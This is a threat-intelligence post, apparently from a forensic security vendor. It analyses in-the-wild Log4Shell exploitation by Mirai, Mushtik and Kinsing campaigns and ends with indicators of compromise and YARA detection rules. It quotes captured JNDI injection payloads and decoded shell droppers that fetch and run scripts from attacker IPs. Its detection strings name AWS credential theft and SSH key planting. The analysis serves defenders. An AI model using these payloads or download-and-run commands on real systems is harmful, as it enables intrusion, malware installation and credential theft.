Introduction
Log4J is an open-source logging platform running on Java and built-in to many web platforms. Public reports of exploitation started on December 9th, followed by wider exploitation on December 10th onwards:
Number of scans per day for CVE-2021-44228 - data from BinaryEdge.io
The exploit allows remote code execution, and relies upon Log4J loading data from LDAP via a JNDI (Java Naming and Directory Interface) interface.
Below we have outlined the attacks we have seen in the wild so far, as well as a forensic investigation of a server compromised in one of the attacks.
We've released a playbook on how to respond to compromises in Docker & Kubernetes environments - you can get a free copy here.
Environment Variable Scanning
We have started to see both attacks and security researchers exploit the ability to incorporate Environment Variables into outgoing JNDI requests. Unlike the Remote Code Execution vulnerabilities which require importing data over LDAP, the environment variable based attacks can run on the latest versions of Java. The RCE itself requires an older version of Java from 2018 or before.
We can see in data from BinaryEdge the known bad IP address 47.75.82[.]85 sending the environment and potentially return:
GET / HTTP/1.1\r\nHost: 47.75.82.85:443\r\n
User-Agent: ${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//45.146.164.160:8081/w}
\r\nContent-Type: application/json
\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n
The IP addresses 96.234.173[.]145 and 154.21.28[.]76 are sending the Java_Version as a DNS request to interactsh[.]com, a service popular with security researchers:
GET / HTTP/1.1
\r\nHost: 47.106.202.101:7401
\r\nUser-Agent: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}
\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive
\r\nAuthorization: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}
\r\nReferer: ${jndi:ldap://${env:JAVA_VERSION}.c6v09ky2vtc000092300gdpor3hyyyyyb.interactsh.com}\r\n
Sophos have reported that they have also seen attackers stealing environment variables such as AWS_SECRET_ACCESS_KEY. Which would enable an attacker to have the same access to your AWS environment (.e.g. List and download files from S3 Storage) as the system they compromised.
Mirai Botnet Activity
A number of botnets have been observed exploiting the vulnerability.
Starting December 11th we saw traffic such as this from 45.137.21[.]9:
POST / HTTP/1.1\r\n
User-Agent: ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
\r\nHost: 89.188.76.250
\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
\r\nAccept-Language: en-US,en;q=0.5
\r\nAccept-Encoding: gzip, deflate
\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n
The Base64 decodes to:
<code class="">wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh</code>
The first stage payload is a shell script from http://62.210.130[.]250/lh.sh which then installs the Mirai binary appropriate for the targeted system, e.g. http://62.210.130[.]250/web/admin/x86
As usual with Mirai, is served from an open directory:
The mirai samples then connect to the command and control server nazi[.]uy.
Mushtik Activity
Starting December 11th, we started to see activity from a number of IP ranges sending traffic such as this:
GET /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D HTTP/1.1
\r\nHost: 89.188.76.250
\r\nUser-Agent: Mozilla/5.0 zgrab/0.x
\r\nAccept: */*
\r\nAccept-Encoding: gzip\r\n\r\n
This serves Java Bytecode (4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b)
Running strings over the file Exploit:
SourceFileExploit.javajava/lang/String
/bin/bash
curl http://18.228.7.109/.log/log | sh
java/lang/Exceptionjava/lang/Object
It is clear it executes the shell script at http://18.228.7[.]109/.log/log :
wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3;
chmod 700 /tmp/pty3; /tmp/pty3 &wget -O /tmp/pty4 http://18.228.7.109/.log/pty4;
chmod +x /tmp/pty4; chmod 700 /tmp/pty4; /tmp/pty4
&wget -O /tmp/pty2 http://18.228.7.109/.log/pty2; chmod +x /tmp/pty2;
chmod 700 /tmp/pty2; /tmp/pty2 &wget -O /tmp/pty1 http://18.228.7.109/.log/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 &wget -O /tmp/pty3 http://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &wget -O /tmp/pty5 http://18.228.7.109/.log/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 &
(curl http://159.89.182.117/wp-content/themes/twentyseventeen/ldm || wget -qO - http://159.89.182.117/wp-content/themes/twentyseventeen/ldm)|bash
These scripts then install Mushtik, a variant of the classic Tsunami Linux backdoor.
Responding to a Kinsing Compromise
We set up a number of honeypots of outdated installations containing Log4J. After a few hours, we noticed that an old Apache Solr install was showing extremely high CPU utilization:
We acquired a full forensic copy of the system with Cado Response and commenced an investigation. It was immediately clear that a number of malicious files were present on the system - red dots here indicate folders where a file was detected as malware:
Most miners drop a payload under /tmp and this is no exception - the crypto-currency minder xmrig is deployed at /tmp/kdevtmpfsi :
And the kinsing malware itself was installed at /etc/kinsing :
Pivoting on the time around when /etc/kinsing was created, we saw see some references to scheduled tasks in the crontab:
The URL that is added to the crontab here has been down for some time:
We didn’t directly capture the initial exploitation, however we have seen delivery from Tor exit nodes with the following payload:
<code class="">GET / HTTP/1.1" 200 1121 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/(curl -s 45.155.205.233:5874/$YOUR_IP:443||wget -q -O- 45.155.205.233:5874/$YOUR_IP:443)|bash}</code>
This Java object payload would then pull in and execute the installation script at http://45.137.155[.]55/ex.sh - as recorded by Omri Segev Moyal.
Targeted Activity
A typical chain of events for exploits is:
We have not directly observed any targeted activity ourselves, however a CrowdStrike employee reports that they have:
Microsoft have said that they have “… observed activities including installing coin miners, Cobalt Strike to enable credential theft and lateral movement, and exfiltrating data from compromised systems”
Recommendations and Mitigations
A number of mitigations can be employed to reduce the impact of Log4Shell:
Review all vulnerable internet facing systems for signs of compromise. If any systems show signs of compromise, we recommend that you investigate each system to determine what malicious activity has occurred. This could include what data or accounts may have been exposed, if propagation to other systems had occurred, or if other unknown backdoors exist, and then determine if you need to take any further incident response actions. You may wish to forensically capture then reinstall and apply updates where feasible.
For systems that have been impacted in AWS, we also recommend that you monitor connections to the AWS console for newly deployed ec2 instances, access to existing ec2 instances or S3 buckets using potentially compromised AWS credentials.
We've released a playbook on how to respond to compromises in Docker & Kubernetes environments - you can get a free copy here.
Indicators of Compromise
Environment Variable Scanning
45.146.164[.]160
interactsh[.]com
Mirai
45.137.21[.]9
http://62.210.130[.]250/lh.sh
http://62.210.130[.]250/web/admin/x86
nazi[.]uy
Mushtik
45.130.229[.]168
18.228.7[.]109
159.89.182[.]117
4d040caffa28e6a0fdc0d274547cf1c7983996fc33e51b0b2c511544f030d71b
Kinsing
45.155.205[.]233
http://93.189.42[.]8/kinsing
http://93.189.42[.]8/lh.sh
Yara Rules
rule Linux_Kinsing_Malware {
meta:
description = "Detects Kinsing Malware"
author = "chris@cadosecurity.com"
date = "2021-12-11"
license = "Apache License 2.0"
hash1 = "6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b"
strings:
$a1 = "main.goKrongo" ascii
$a2 = "main.taskWithScanWorker" ascii
$a3 = "main.runTaskWithHttp" ascii
$a5 = "main.getMinerPid" ascii
$a6 = "main.sendResult" ascii
$a7 = "main.minerRunningCheck" ascii
condition:
uint16(0) == 0x457f and 4 of them
}rule Cryptomining_Malware_Xmrig {
meta:
description = "Detects Xmrig Cryptominer"
author = "chris@cadosecurity.com"
date = "2021-12-11"
license = "Apache License 2.0"
strings:
$ = "password for mining server" nocase wide ascii
$ = "threads count to initialize RandomX dataset" nocase wide ascii
$ = "display this help and exit" nocase wide ascii
$ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
$ = "enable CUDA mining backend" nocase wide ascii
$ = "cryptonight" nocase wide ascii
condition:
5 of them
}rule Mining_Worm_August_2020 {
meta:
description = "Detects Mining Worm"
author = "chris@cadosecurity.com"
date = "2020-08-16"
license = "Apache License 2.0"
hash1 = "3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f"
hash2 = "929c3017e6391b92b2fbce654cf7f8b0d3d222f96b5b20385059b584975a298b"
hash3 = "705a22f0266c382c846ee37b8cd544db1ff19980b8a627a4a4f01c1161a71cb0"strings:
$a = "echo $LOCKFILE | base64 -d > $tmpxmrigfile" wide ascii
$b = "/root/.tmp/xmrig –config=/root/.tmp/" wide ascii
$c = "if [ -s /usr/bin/curl ]; then" wide ascii
$d = "echo ‘found: /root/.aws/credentials'" wide ascii
$e = "function KILLMININGSERVICES(){" wide ascii
$g = "touch /root/.ssh/authorized_keys 2>/dev/null 1>/dev/null" wide ascii
$h = "rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service" wide ascii
$i = "userfile=@/root/.ssh/id_ed25519.pub" wide asciicondition:
filesize < 500KB and any of them
}
References